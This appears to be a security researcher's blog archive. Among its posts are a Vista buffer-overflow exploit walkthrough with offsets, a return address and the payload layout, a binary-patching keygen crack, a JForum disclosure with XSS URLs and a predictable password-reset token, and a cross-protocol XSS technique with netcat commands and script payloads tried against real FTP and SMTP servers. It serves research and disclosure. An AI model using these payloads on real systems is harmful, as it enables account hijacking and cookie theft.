omg.wtf.bbq.

because arshan’s too cheap to license OneNote

Browsing Posts in security

In my likely impossible challenge to ever understand one of Nico Waisman’s talks, I found corelanc0d3r’s site. Wow. Awesome tutorials on everything from direct EIP overwrites to ROP.

His first challenge is to exploit EasyRMtoMP3, some silly little utility that has a known stack buffer overflow when reading lines from .m3u files. His tutorial shows how to exploit it in Windows XP SP3, without ASLR and DEP and all that stuff in the way. I’ll document here the challenges I had to overcome in exploit this reliably in Vista SP2. I won’t rehash the vulnerability itself (he did a great job), but rather list the differences you need to make it work on a more current Windows OS for anyone who finds themselves following his tutorials like I did. In case you’re looking for new techniques, get ready for disappointment: there is absolutely nothing new or novel about any of this.

Step 1: Finding offsets from the start of the overflowed buffer to the saved EIP. Nothing different needs to be done here – the same Metasploit pattern-finding technique works on Vista. However, the output is different. My offset value is 26073 (base10).

Step 2a: Find a way to get to our shellcode. The same calc.exe shellcode is on the stack, but we can’t overwrite EIP with its address because it’s address is 0x000FF65C, emphasis on the 00. This is an unbounded string copy vulnerability, so we can’t have any NULLs in our payload. Without ASLR, this should still be easy. Our shellcode very conveniently lives right at ESP, so all we have to do is find a JMP ESP instruction anywhere in any of the application’s DLL’s, just like Peter did in his tutorial. I anticipated that I wouldn’t have a problem with ASLR because there is no way this little utility’s author would have known to link the executables or DLL’s with the /dynamicbase flag, which is how you enable ASLR. I was right in my expectation about the author, but wrong in my expectation that I wouldn’t still be affected.

Running the program 3 times shows 3 different addresses for the MSRMCc_1 module, despite the fact that it’s not ASLR aware:

001D0000 MSRMCc_1 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
003D0000 MSRMCc_1 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
001C0000 MSRMCc_1 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll

As I’m sure people smarter than me already know, this was because of DLL fixup/rebasing. All executable modules have a “preferred” address to live, but when there’s a collision with another existing module they can generally be adjusted (slightly). Because Windows has a ton of DLL’s involved in every process, and they’re randomly placed due to ASLR, there’s a decent chance application DLL’s will generate conflicts and therefore must be “fixed up” to nearby addresses.

So – are we forced to have an unreliable exploit? Nope! Turns out 1 of the application DLL’s can’t be rebased, and therefore must live at it’s preferred address. The output from the pvefinaddr plugin for Immunity Debugger shows us how we discovered that (click to see whole picture):

EasyRMtoMP3 modules

The output of "pvefindaddr modules" shows the modules of our target

This is awesome. We now have a target: MSRMfilter03.dll. Now we just need to find our JMP ESP.

Step 2b: Getting redirection to ESP. So now that we have our target DLL, the next step is to find the location inside the DLL of a JMP ESP. The simple way to do that is to search for the bytes of the instruction in the DLL using OllyDbg/ImmDbg’s Search for->Binary string. You have to know what bytes to search for, though, and the easiest way to figure that out is to replace some random code in the DLL with the assembled instruction for JMP ESP and then look at its contents. If you did that, you’d know the value we’re looking for is the byte sequence FF E4. Surprisingly, this DLL does not contain this byte sequence anywhere (even when looked at totally unaligned).

So, we improvise. For this exploit to work, at the end of the day, you just need some instructions that redirect the user to the address stored in ESP. Another set of instructions that would do that is PUSH ESP; RET. The PUSH ESP will copy the address of our shellcode (ESP) onto the top of the stack. Then, our RET instruction simply pops that address off of the top of the stack and transfers control to it. This byte sequence, 54 C3, is found many times in this DLL, and we pick one of the locations that doesn’t have a NULL in it: 0x1001B058. This technique and many others for figuring out “how the hell do I get to shellcode?” are talked about later in corelanc0d3r’s tutorial series.

Step 3: Fix our shellcode problem. So now we know where our shellcode lives and how we’re going to redirect to it. But, to my chagrin, the exploit still fails. The problem turned out to be some undocumented requirement by Metasploit’s calc.exe shellcode. In his exploit for this issue, the tutorial author used a NOP sled but never indicated why. Everything in our exploit is precise; there is no guessing involved so there should be no need for NOP sleds.  As was pointed out on his forum, this is because the shellcode executes the following instruction near the beginning:

FSTENV SS:[ESP-0xC]

This “FSTENV” instruction saves 28 bytes worth of state at ESP-0xC. Unfortunately, that 28 bytes ends up overlapping with our shellcode, and overwrites 3 bytes of it that we haven’t executed yet. The tutorial author probably just used a NOP sled from the beginning to give himself a little wiggle room and never again looked at why it was used or needed, so he never saw this problem. So, to make sure the shellcode doesn’t partially overwrite itself we need to introduce a 3 byte NOP sled. Our final payload now looks like this:

Stack before: [buff][vars][saved ebp][      saved eip      ][ param data..............................]
Stack smash: [AAAAAA.......................][addr of push, ret][4 bytes junk][3nops][shellcode]
 
Here’s the exploit. Should work on any Vista SP, but I’m not sure about 7 or XP. A cool extension to this exploit would be to do the following:
  • Fix the shellcode’s to not crash after calc.exe executes (crashes after calc pops right now)
  • Repair the application stack and return the vuln function (as if a normal m3u was encountered)
  • Overwrite the malicious .m3u file to contain the same text (to destroy the evidence of the exploit)

Here’s my (possibly distorted) recollection of Immunity’s Hack Cup 2010, complete with terrible security puns. Thanks to my teammates on SensePost/#TeamZA for winning! And thanks to Nico Waisman specifically for organizing and Immunity for sponsoring a great event. And yes – all of this is a joke – as in, not meant to be taken seriously, as in plz don’t hack my computer.

Group Stage (or, who cares?)

CLGT was our first opponent, and they had foreigners from all over. I’m sure with vim + Metasploit and a North Korean relay owned by PHF they’re as dangerous as Glenn Beck’s investment advice, but on the 30ft by 30ft indoor soccer field they posed no threat to the new paradigm of South African/Arshanican synergistic collaboration of competitive footballing excellence. #TeamZA wins 6-2.

Immunity was next, complete with Argentinians, so I gave them some respect. Probably too much respect, it seems, since they beat us in a squeaker in the group stage. They had one good player who had excellent dribbling skills, and I’m afraid I found his jersey in my fist more than once. The notable Mr. Aitel scored against us. We let him score because his Beckham-ish looking kid was watching and we felt bad. You’re welcome, Dave. #TeamZA wins by -1 goal.

Playoffs

Media Whores actually practiced the day before Blackhat. They were banking on preparation. It must have gone very well, because Nathan Hamiel was bragging to me about how he kicked the ball and it got stuck on the moon or some shit. Maybe the MediaWhores should get there 1 month before the next Blackhat for more intense preparation.

We murdered them like a zillion to nothing. I think I scored 6 goals. After one of my last goals, one of their players, (maybe Mr. Naraine?) gave me a look like, “Jesus, man. What are you?Answer: a temporary South African. 0xcharlie and Dion looked like they had some touch, but we were too physical, and frankly, too good-looking. #TeamZA wins 8-2.

Goal++ was unlucky enough to draw us in the semi-finals. They are built up of Sir David “OWASP” Campbell and guys from Intrepidus Group, who are supposedly experts in the mobile field. If that was true, why didn’t they use their mobile skills to call an ambulance halfway into this legendary beatdown? They were physical and fast but lacked the touch to string enough passes together to break down our vaunted defense, led by Dominic “Crazy Legs” White. His lower tentacles consistently reached the ball of his opponents like Paul the Octopus, except with more statistical unlikeliness.

They scored a few goals off of some defensive mistakes (made on purpose because only Allah is perfect). Mr. Campbell tried to pull some crazy Denver FROC shit by repeatedly punching me when the ref wasn’t around. Thankfully, Marco Slaviero pulled his male organ out of Intrepidus’s memcached server just long enough to hit a crazy (left-footed?) banger to the upper 90, completing the psychological domination of these men – these men that were so athletic you might mistake them for brothers. #TeamZA triumphs spiritually, financially and hyperbole with a 5-2 win.

The Finals

The two best teams clearly reached the finals. The Cosmic Kites beat down Immunity in the semi-finals like sirdarckcat and thornmaker beat down the IE8 XSS filter. They also featured a number of Argentinians who were unknown to me. On the other hand, practically everyone here is unknown to me, except the visually distinct Grugq, who was there clearly backing the right horse in #TeamZA.

With many fans of Hack Cup who had traveled over 1 mile to watch the tournament looking on, a battle of epic consequence took place. We were all really tired, and the Cosmic Kites were living up their name flying around the field like LeBron James on HGH and Lance Armstrong’s bike. Even Jurgens van der Merve (gesundheit), our goalie, had put in a hard day’s work pwning CEH-certified types who were silly enough to enter his goal box. He was more Tim Howard than Robert Green.

The game flowed back and forth for a few minutes, until I scored a goal I can’t remember. Then, Cosmic Kites answered with swarming defense and the threat of infecting us with Argentinian herpes, which is worse than avian flu.

I think I scored again, and to my recollection it was a header, which is not very common in indoor soccer (or for me at all) – it must have been a real mess inside the goal box. But, our lungs were tired from all vuvuzelaing and scripted goal celebrations – and Cosmic Kites answered yet again.

The game seemed prime for overtime – except for the work of the extremely coachable Charl van der Walt. As we went through the tournament, I kept telling him to slide the ball to the center and slightly behind from his wing position, where he was consistently an APT, so that I could have an easy finish. In the last 0:04 of the game Charl got the ball and took it up the wing – where to my amazement he slid the ball perfectly to my unmarked right foot in the center for an easy finish! We celebrated as the clock wound down to zero.

To the victor then went the spoils:

Dominic, Juergen, Arshan (me), Marco, Charl

Dominic, Juergen, Arshan (me), Marco, Charl. Yes, we won even though Dominic was wearing that.

I’m trying to expand my skillset to the point where I can understand one of Nico Waisman’s BlackHat talks, and that means I have work to do (and maybe a brain transplant too). I’ve always had decent assembler skills, I can write simple shellcode, beat Gera’s challenges, but Windows has never been my domain. Let alone bypassing any of the more advanced memory protection techniques (DEP, ASLR, /GS, etc.).

So recently I started doing simple reversing/key generation cracking challenges  for  getting used to the world of Windows, Immunity Debugger, and memory corruption. First of all, Immunity Debugger is awesome. It’s basically a skinned OllyDbg with Python integration and other cool extensions. I plan on writing visualization scripts to make the mess of hexadecimal a little easier to parse.

Ok, so the first one I did was keygenme3, which was a keygen challenge. The easiest way to break a keygen challenge is to replace the instructions that check the keygen with a NOP sled. The problem with that simple approach is that the author cleverly used WriteProcessMemory() to re-fill the area with code to break that simple patch. So in the end, you just had to NOP sled the WriteProcessMemory() call, too. Easy in theory, but you had to reverse enough of the program to understand what was happening, and that wasn’t easy for me.

The next challenge was LaFarge #2 keygen challenge. This one was also unique, and a good learning experience. The point of these keygens is not to just get a valid key. That’s easy, just find the code that checks the validity of the key, set a breakpoint, and inspect the “valid” value it’s looking for.

Creating a keygen program that spits out a valid key for any input is a little more work, and is part of the “solution”. The LaFarge#2 application uses a custom XOR-algorithm that would take hours to reverse into another language, which is what I tried to do first. Instead, to create a keygen, I took the existing program, and changed it to spit out the valid key it expects rather than an error message when you input an incorrect key.

Here’s the code block that checks the key:

The top instruction shows the stack address of the expected, valid key

Figure 1: The stack address of the expected key used sent to strcmpA(), and the stack address of the message originally used in the MessageBoxA() call.

The figure highlights an instruction at the top which shows the stack address of the expected, valid key, which was computed based on the user name provided. The second highlighted instruction shows which string (0x004062E7) is used in the MessageBoxA() call to tell the user their key was invalid. An easy way to turn this program into a key generator rather than a key checker is to switch the stack address pushed onto stack in the second instruction to be the first stack address. That way, the user will be shown the expected key instead of the error message. Here we can see we’ve reassembled the code for the second instruction to do just that:

The MessageBoxA() parameters have been tampered with to send the valid, expected key to the MessageBoxA() call.

Figure 2: The MessageBoxA() parameters have been tampered with to send the valid, expected key to the MessageBoxA() call.

Now, we run the program after changing that 1 instruction, and it works as we imagined:

We've re-written the program to spit out the key rather than an error message.

Figure 3: We've re-written the program to spit out the key rather than an error message.

Next project: a Python script to visualize stack frames.

I’m flying back from Blackhat today where I presented and officially released JavaSnoop, a tool that makes security testing thick Java clients really, really easy. We use some magically awesome instrumentation and bytecode engineering. Despite the fact that those buzzwords were in play, Blackhat thought they’d hedge their bet on me by putting the talk in the room furthest away from everything. But don’t worry, we filled it up anyway. And I’m sure that wasn’t because I launched a Twitter misinformation campaign that suggested Dino Dai Zovi would be there dropping 0day – I’m sure it was just because of the suggestive title.

There was an A/V issue that meant I couldn’t see the demo but the audience could, so they had to guide me through it. Other people may look at that as an utter disaster, but from my perspective, I gave the first audience participation demo in Blackhat history (don’t research that).

Here are the slides, the tool itself, and the project home page – complete with videos and screenshots to help you get started. If you do anything cool with JavaSnoop, let me know and I’ll make a video of it, give you credit and put it on the project page to help everyone get to know the tool.

If you’re interested in the magic behind JavaSnoop, check out our SVN. We welcome feedback, patches, success stories, or belittlement. It’s GPLv3, but we’re happy to re-license a copy to you if you have a half of a good reason.

Happy hacking!

You may be thinking, “what the hell happened to 1.4?”  A few things. First, I had a baby. That was really hard.

Then, we were trying to manage all the logistics of moving to a new project structure during our 1.4 release cycle and during that time we added some really important stuff. So, AntiSamy 1.4.1 is out today! New features from 1.4 and 1.4.1:

  • Full Maven support. We’re hosted in the Sonatype OSS repository! Here’s an example dependency to put into your pom for including AntiSamy in your project.
  • Added an experimental SAX version of AntiSamy. This is so huge. It’s an optional alternative method of cleaning the user’s input. It’s way faster (50%) and consumes far less memory. It’s still considered experimental even though all our test cases pass against it because it’s not time or community tested yet. Anybody looking to test can browse over to the test page to provide feedback. It’s practically no different to invoke: instead of AntiSamy.scan(String,*), it’s AntiSamy.scan(String,*,AntiSamy.SAX). Default is still to use DOM-based scanning, our old tried-and-true method. One day, hopefully we’ll default to SAX.
  • Proper support for name/value attributes in <param> tags (see the validateParamAsEmbed directive and Erik’s explanation of the problem it solves)
  • Added noFollowAnchors directive which programmatically adds rel='nofollow' to all links parsed by AntiSamy
  • Added safe support for comments (we’re trying to allow normal comments and prevent IE’s conditional comments)

There were also a number of bug fixes, code improvements and cleanups. This release was not possible without hard work by the following folks:

  • Jonathan Irving, who is a good engineer, project manager, and is way helpful and patient with my well-established personality shortcomings.
  • Erik Innocent, a real-life AntiSamy pioneer who is making sure its real-world capability stays in line with its promise.
  • Fernando Padilla, our resident Maven guru (and good guy).
  • Finally, Lars Trieloff, who submitted a SAX patch that became the template for our SAX scanning option (congrats on the newborn, too!).

If you’re looking for work for your summer intern, we could really use better documentation for AntiSamy, inside and outside of the code. Thanks to everyone involved for making this release our best ever. AntiSamy is now faster, more easily integrated into a project, and hopefully still as safe as ever.

See you after the World Cup!

The application I beat up for the ESAPI WAF preso at OWASP AppSec DC was JForum. It’s awesome, free, open source forum software that is quite popular (CBS, EA and the Ukrainian government seem to like it). That aside, it’s got serious security problems. I disclosed these problems to them, um, around a month ago or so, and some of these vulns are interesting for one reason or another, so I thought it’d be good to highlight a few here.

Vuln #1: Hijack accounts with “Forgot Password” token prediction

You don’t have to be Nate Lawson to discover this obvious security flaw, which from a blind test may appear secure.

The “forgot password” feature suffers from a critical design error. The application allows users to automatically reset their password through a “lost password” form. That form only requires a user to enter an email address or username. When the form is submitted, the application sends an email containing a token to the associated user’s email address. When the user clicks on the link with the token in it from the email, the server will then allow the user to reset their password through a form. In this design, the token is acting as a temporary password for the user. Therefore, if an attacker can predict the value of the token the application will generate, they will be able to reset account passwords for other users.

Unfortunately, this scenario is possible. The following code is from UserAction.java, starting at line 671:

public User prepareLostPassword(String username, String email)
...
String hash = MD5.crypt(user.getEmail() + System.currentTimeMillis());
...
um.writeLostPasswordHash(user.getEmail(), hash);
user.setActivationKey(hash);

As can be seen in the code snippet, the secret token is an unsalted hash of the user’s email address and the number of milliseconds since the epoch. Neither of these pieces of information qualify as secrets in a strong cryptosystem. All that is needed to reset a user’s password to a password of the attacker’s choosing is the email address of the victim and the ability to generate a few thousand requests.

An exploit was made to demonstrate this vulnerability. It’s currently tuned to attack a local development environment, but it can be used to attack any site by changing a few variables (and adding a time difference offset). Since the application leaks the server’s time in several places, it’s possible to increase the efficiency of the exploit so that remote systems only require a few hundred packets. The exploit is available here.

Vuln #2: The first and last interesting XSS flaw in the world

JForum has a reflected XSS flaw whose exploitation is uniquely non-trivial. To start: in my development environment, this URL causes an alert box to pop up, containing my session cookies:

http://localhost:8080/JForum/nonexistent.page?module=js&action=list&js=../admin/admin_welcome.htm%00<script>alert(1)</script>

This is an interesting story, and the reason this fires is complex, as far as XSS goes. First, that type of URL won’t normally be found in JForum. The typical URL structure is RESTful. For example, the URL to list the recent posts in a category would look something like this:

http://localhost:8080/JForum/recentTopics/list.page

This is parsed by JForum into a “module” and an “action”. The “recentTopics” substring represents the “module” of this URL, and “list”, the “action.” However, there is an alternative and possibly legacy representation for URLs that is honored by JForum, where URLs look like this:

http://localhost:8080/JForum/servlet.page?module=recentTopics&action=list

The “servlet” substring in this URL is arbitrary, since JForum’s main engine catches all requests aimed at “*.page” and handles them identically based on parameters. This will end up making an attack signature difficult, as will be shown later.

Normally, no user input in JForum is rendered without encoding. The text being output in this example is being done so by Freemarker, the templating system used by JForum. Because the template to execute is supplied by the user (the ‘js’ parameter), the user can choose any file on the target filesystem. If the file is not a pre-approved template, the application will error without doing anything necessarily beneficial to the attacker. The only alternative, then, is to provide a template that the application won’t have correct contextual data for. This will happen, for instance, when a normal user attempts to view an admin template. When the expected data isn’t found this will inevitably cause a problem, after which Freemarker will print an error message that contains the filename being executed, along with other data which is not controlled by the user.

So, the only way for this to be useful is if the filename contained an attack. How could the filename be both an attack and a valid template location? This is about the time a normal developer would cry theoretical and reject the vulnerability. Unfortunately for them, by supplying the null byte followed by a traditional XSS payload after the template location, we can make both JForum/Freemarker and the attacker happy. When JForum/Freemarker look up the filename, the file system will acknowledge that the file exists and is a pre-approved template. However, when the filename is printed out by Freemarker after the error occurs, it will echo the entire filename parameter, not just the part of the filename understood by the lower level APIs. Because the attack is part of the extended filename, it gets echoed to the browser, and the JavaScript fires.

This vulnerability could not exist without 3 combined failures of the OWASP Top 10: flawed error handling (printing detailed error information), direct object references (specifying arbitrary templates in the URL) and XSS. This is a credit to the code of Rafael Steil, the maintainer of JForum, who otherwise makes a (relatively) security conscious product.

Note: One might guess that the ability to specify arbitrary template constitutes an elevation of privileges. The templates are read-only and are publicly available, since the forum software is OSS. For it to be useful, the application would first have to queue the relevant admin information into memory before processing the template. This would require a separate vulnerability.

For giggles, though, there are other XSS flaws that are much more vanilla:

http://localhost:8080/JForum/jforum.page?module=user&action=recoverPassword&hash=foo%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3Ca

Now, how do we fix these in the ESAPI WAF?

These were not the vulnerabilities I used in my demo because they were not very clean to fix with a WAF (of any kind, not just mine). Unfortunately, they were two of the most serious vulnerabilities.

The account hijacking vulnerability is not possible to stop with a WAF without IP-based throttling, which is butthurt. This is the case because the attack is possible unauthenticated, so there’s no way to differentiate between legitimate “forgot password” resets and attacks. Come to think of it, the WAF could also just prevent all access to that feature until you get the code fix in. Does that count?

It’s possible but annoyingly inefficient to signature the complicated XSS with a simple virtual patch rule. First you’d have to signature a substring of the URI to detect that particular module being executed and then also signature the “js” parameter to detect non-alphanumerics. Given the fact that JForum can have multiple URLs for executing the same functionality, this protection doesn’t give a whole lot of assurance.

But wait, there’s less (security)

There are a ton more problems, like CSRF, unchecked redirects, no frame-breaking code and more. For the full writeup that I sent to the developers, click here.

The ESAPI project is quickly gaining steam. We’ve added a number of strong committers and there are many companies out their adopting. My little addition to ESAPI was just released yesterday at OWASP AppSec DC, the ESAPI Web Application Firewall. Slides here.

You don’t need to implement the rest of ESAPI to use it, since it’s completely decoupled. It’s being published as part of ESAPI since virtual patches are an enterprise security need – and that’s what ESAPI is all about. The WAF was built for the Java version, but there’s nothing so specific to Java that would make it difficult to port to the other versions of ESAPI (assuming they have some BeanShell equivalent, which I think they all do).

What does the WAF offer? Well, a lot. It can stop all your normal injection attacks, like any WAF should. It’s closer architecturally to the application since it lives in a J2EE filter, and this allows it to do things a normal WAF can’t, like fix “business logic” vulnerabilities such as missing authentication or authorization.

It can also solve a number of “lesser” problems you’ll run into after a security assessment, like enforcing HTTPS, HTTP method restriction, or adding missing caching or content-type headers. You can also use it to perform fancy egress filtering, if you’re so inclined. All without touching a single line of code!

I can also make a strong case for performance, since the WAF doesn’t have to manage its own I/O or state, since that’s all handled by the application server. The performance hit, especially if you’re not doing any crazy egress stuff where response data must be buffered, is minimal.

Anyway, it does way more than  blog post could do justice. Check out the policy file configuration guide or the JavaDocs, and keep the ESAPI mailing list in the loop on your integration experience!

It’s available for download now as part of ESAPI 2.0 RC4.

UPDATE: kuza55 has pointed out correctly that the cookie-sharing across ports is universal; IE’s quirk is the port-ignorance during SOP checks.

Most people have thought about how you can use a browser to issue inter-protocol requests. See Samy’s version of SMTP-through-JavaScript, “cross-site” printing (cool, but what’s so cross-site about it again?), and this paper by NGS. However, the reverse attack is much more useful; how causing a browser to interact with another protocol can cause arbitrary JavaScript to run in the origin of a target domain. This is natural extension to that previous work, starting with the seminal “form protocol attack” paper. After doing a bunch of research I found out that this basic idea was already lightly covered in eyeonsecurity’s “extended HTML form attack” paper, but misses out many key details, mostly resulting from the fact that the browser security landscape has shifted significantly since it was written in 2002.

Let’s start from the beginning. First, this is going to be a corner case, to be sure, but the Internet is like Drake’s equation – there’s always going to be sites where unusual attacks work.

Where to start? Consider first that a browser won’t let you use HTTP to talk to any site on port 20 or 21 – the typical FTP ports. This means that if there is FTP running on any other port, you will be allowed to send requests to it. What if that FTP server responded? Well, you would think the response would be meaningless to the browser since it’s not valid HTTP.

The head-scratching behavior of browsers continues. None of the browsers I tested (IE, FF, Safari, Chrome, all recent versions) require HTTP response headers to process a request. I have no idea why that is, and this appears to be a very little known fact according to some personal polling at Blackhat. If you want to see it in action, here’s your netcat command:

[root@i8jesus ~]# echo "<script>alert(document.cookie)</script>" > script.txt
[root@i8jesus ~]# nc -l 81 < script.txt

This opens up port 81 and pipes the script to any incoming TCP connection. Try pointing your browser to that port, i.e., http://localhost:81/foo. You’ll see the alert() does fire! This is more than just content sniffing, it’s protocol sniffing.

But even if you could control the output of another port on their server, you might initially be disappointed. In the minority browsers this will be an interesting but useless quirk because the port you’re connecting to (81) is not the same port of the target website (typically 80). Because of this, your browser will consider it a different origin and thus won’t let you do anything cool like access cookies or application data.

If you’re into browser security, you probably realize where this is going. IE, the dominant browser, ignores the port when considering DOM origin. This means that document.cookie is shared between i8jesus.com:80 and i8jesus.com:81. In IE7, the only thing you can’t do across ports is XmlHttpRequest, but don’t worry – IE8 is going to remove that restriction soon!

You can see here IE ignores the port, since its showing my WP cookies

You can see here IE ignores the port, since it's showing my WP cookies

Now let’s consider there’s an FTP server running on i8jesus.com, port 81. You can interact with that FTP server with the following HTML. Notice the enctype=’multipart/form-data’. This is what allows us to make our input look like FTP commands (as was seen in previous cross-protocol attacks).

<form method='POST' action='http://i8jesus.com:81' enctype='multipart/form-data'>
<input type='text' name='doesntmatter' value='USER anonymous'>

<input type='text' name='doesntmatter' value='PASS a@a.com'>
<input type='text' name='doesntmatter' value='HELP foo'>

<input type='submit'>
</form>

If an FTP server is running on port 81, the browser will connect to it and begin sending that multipart data. Let’s look at a real example of this happening and see how the FTP server understands the traffic. In order to facilitate this testing, I piped netcat output from my browser to a different netcat process connected to ftp.redhat.com (I had to use myself as a MITM since they listen on a standard port). Here’s a snapshot of of our traffic from the HTML form above:

POST / HTTP/1.1
Referer: http://i8jesus.com/stuff/xps/test.html
Content-Type: multipart/form-data; boundary=---------------------------7d92b92a70534
...
Cookie: <snip>

-----------------------------7d92b92a70534
Content-Disposition: form-data; name="doesntmatter"

USER anonymous
-----------------------------7d92b92a70534

Content-Disposition: form-data; name="doesntmatter"

PASS a@a.com

Since FTP separates commands by newline, the server will see  bunch of garbage commands with a few legitimate ones sprinkled in between. What the server sent in the response can be seen from the output of the netcat commands:

[root@i8jesus xps]# nc -l 81 | nc ftp.redhat.com 21
220 Red Hat FTP server ready. All transfers are logged. (FTP) [no EPSV]
530 Please login with USER and PASS.
530 Please login with USER and PASS.
...
331 Please specify the password.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
230 Login successful.
550 Permission denied.
...
214-The following commands are recognized.
ABOR ACCT ALLO APPE CDUP CWD  DELE EPRT EPSV FEAT HELP LIST MDTM MKD
MODE NLST NOOP OPTS PASS PASV PORT PWD  QUIT REIN REST RETR RMD  RNFR
RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD
XPWD XRMD
214 Help OK.
550 Permission denied.

As you can see the FTP server at ftp.redhat.com is clearly interpreting our HTTP traffic as separate FTP commands. Great, but now what? This is where previous attacks in the cross-protocol arena have ended. Most of the time this type of attack won’t profit the attacker much. How easy it to go to Starbucks and issue those FTP commands yourself? It’s true that tricking the user into doing it may allow you to reach hosts behind firewalls and get around IP-restrictions, but we can do better than that. So, put together what we’ve discovered so far:

1. Browsers will interpret non-HTTP responses
2. Browsers can communicate with non-HTTP servers as long as they reside on a non-standard port
3. FTP servers will interpret our commands line by line
4. IE ignores the port in origin checks

Here is the crux: we can issue FTP commands that the server will partially reflect back to the client. If this input contains JavaScript, the browser will execute it in the target origin. Let’s see what we can get some anonymous FTP servers out there to reflect back to us. The user input is in green and any interesting server output is in red:

[root@i8jesus xps]# telnet andrsn.stanford.edu 21
Trying 171.66.112.163...
Connected to andrsn.stanford.edu.
Escape character is '^]'.
220 andrsn.stanford.edu FTP server (Version 6.00LS) ready.
H<script>alert(document.cookie)</script>
500 H<SCRIPT>ALERT(DOCUMENT.COOKIE)</SCRIPT>: command not understood.
HELO <script>document.cookie)</script>
500 HELO <script>document.cookie)</script>: command not understood.

Looks like this server will upper-case the FTP command name during reflection. That will complicate things a bit (you can still exploit that with VBScript), but why not make things easier on ourselves and use the argument to HELO (a STMP command that the FTP server doesn’t recognize), since that comes back without modification! Ok, now let’s test a .mil:

[root@i8jesus xps]# telnet ftp.nima.mil 21
Trying 164.214.2.65...
Connected to ftp.nima.mil.
Escape character is '^]'.
220 emissary FTP server (Use of this DoD computer system, authorized or unauthorized, constitues consent to monitoring of this system.  Unauthorized use may subject your to criminal prosecution.) ready.
HELO <script>
500 'HELO': command not understood by proxy
USER <script>alert(document.cookie)</script>
331 Password required for <script>alert(document.cookie)</script>.
PASS i dont want anything to do with you im just testing something dont rape me plz <3
530 Login incorrect.

This server reflects the USER argument. Simple, no authentication required.

Out of the few servers I’ve tested, it looks like vsFTPd is the safest in that it won’t reflect much data pre-authentication. (Un)fortunately, it looks like there are plenty of pre-authentication options and a few post-authentication options for reflecting data in most FTP servers. There are lots of FTP servers out there and lots of configurations to play with, resulting in an uncountable number of possibilities for vulnerability.

What this all means: running an FTP server on the same host as your site on a non-standard port  probably makes you vulnerable to Type I XSS without you doing anything wrong. I don’t imagine it’s going to happen a lot, but I do imagine it’s going to happen.

The Solution

The solution, to me, is simple. Invoke your FindMimeFromData() equivalent on the HTTP response body, not the complete inbound TCP message. When did browsers decide to speak other protocols than HTTP? The specification doesn’t say the status line is optional. If I want to talk to an FTP server I’ll use WinSCP. Fair? Only give me shit that starts with “HTTP/1.X YYY”. It’s kind of ironic that IE processes the response successfully, but the response breaks Fiddler. Doesn’t Mr. Law, um, have a foot in both those camps?

It’s not an FTP problem

Yes, all of what I’ve said applies to other services as well. IE doesn’t block nearly as many ports as Firefox. For instance, here’s an interesting snippet from Cyrus (SMTP), which shows that exploitation is not necessarily brain-dead simple, and by the end you can see that there are enough characters to perform XSS.

[oasis@i8jesus ~]$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 ip-72-167-99-49.ip.secureserver.net ESMTP Postfix
HELO <script>alert(document.cookie)</script>
250 ip-72-167-99-49.ip.secureserver.net
EHLO <script>alert(document.cookie)</script>
250-ip-72-167-99-49.ip.secureserver.net
...
250 DSN
MAIL FROM: <script>alert(document.cookie)</script>
501 5.1.7 Bad sender address syntax
RCPT TO: <script>alert(document.cookie)</script>
503 5.5.1 Error: need MAIL command
MAIL FROM: Joe Blow
555 5.5.4 Unsupported option: Blow
MAIL FROM: Joe
250 2.1.0 Ok
RCPT TO: <script>alert(document.cookie)</script>
501 5.1.3 Bad recipient address syntax
RCPT TO: sdf
550 5.1.1 <sdf>: Recipient address rejected: User unknown in local recipient table
RCPT TO: img src='javascript:alert(1)'
555 5.5.4 Unsupported option: src='javascript:alert(1)'
RCPT TO: img/src='javascript:alert(1)'
501 5.1.3 Bad recipient address syntax
RCPT TO: img/src=javascript:alert(1)
550 5.1.1 <img/src=javascript:alert>: Recipient address rejected: User unknown in local recipient table
RCPT TO: img/src=javascript:alert{}
550 5.1.1 <img/src=javascript:alert{}>: Recipient address rejected: User unknown in local recipient                table
quit
221 2.0.0 Bye
Connection closed by foreign host.
[oasis@i8jesus ~]$

Billy Hoffman and Matt Wood from HP presented on a new browser darknet at Blackhat, which of course the press went totally batshit for (the press love Billy et. al. as much as they love anyone – or HP’s marketing department is insanely good). I love the idea of totally anonymous P2P information sharing, but it’s just not possible in the browser if we can’t use trusted plugins. In a truly safe P2P scheme the supernodes wouldn’t have to be trusted, but this is not the case in Veiled, as they were in fact willing to point out (and gloss over just as quickly :) . The simple fact is that the supernodes deliver client-side code to the nodes – code that, when not compromised, contains JavaScript that will allow the user to perform all the functions necessary for a darknet, but when compromised, can be used to subvert all those same functions. As long as you’re getting your client side code from supernodes, it just can’t be done.

With all that aside, it’s still useful research (to me). The unknown compromise of a supernode is very unlikely, especially considering the overall incompetence on the part of those who would try to shut down a darknet. And to honor the spirit of the idea, I wanted to talk about some solutions to a few of the “challenges” they noted when architecting the design of their darknet:

Problem: When a user is on the darknet they store file slices in browser local storage, which is restricted by domain. Consider that a darknet client, Alice, is connected to supernode foo.com. If the supernode is to go down, the user must go join a different supernode. The problem is: what happens to the file slices? They’re in local storage – which means when the user transfers themselves to the next supernode, bar.com, the JavaScript won’t have access to the file slices.

Solution #1: They considered this a lost cause, but I think there are a couple of things you could do to retain the file slices without exposing the information to the new supernode, which clients shouldn’t have to trust. First, the initial request to go to the next supernode could be a POST request of the following format:

POST http://nextsupernode/reflect_files_back_to_me#hashoffiles

file1data=…&file2data=…&file3data…

The server could then reflect the response for the clients to restore, complete with a hash to check (just for CRC). The second approach is slightly more complicated but allows for a general solution to the problem of “lost information” (like chat logs, keypairs, etc.) because of the origin-hopping.

Solution #2: Mallory, a user who isn’t on the darknet, tries to connect to darknet.com. Because her IP isn’t whitelisted, the DNS server for darknet.com sends back wrong IP information (like the IP for goatse.cx maybe?) or refuses to resolve. Mallory therefore can’t connect to the darknet. Alice, a legitimate darknet user, connects to darknet.com. Because the darknet knows her IP address, the DNS server returns a legitimate response and allows her the chance to authenticate to the darknet, then redirects her to an alias – www1.darknet.com.

The first thing the client-side code from the darknet gives to Alice does is this:

> document.domain = 'darknet.com';

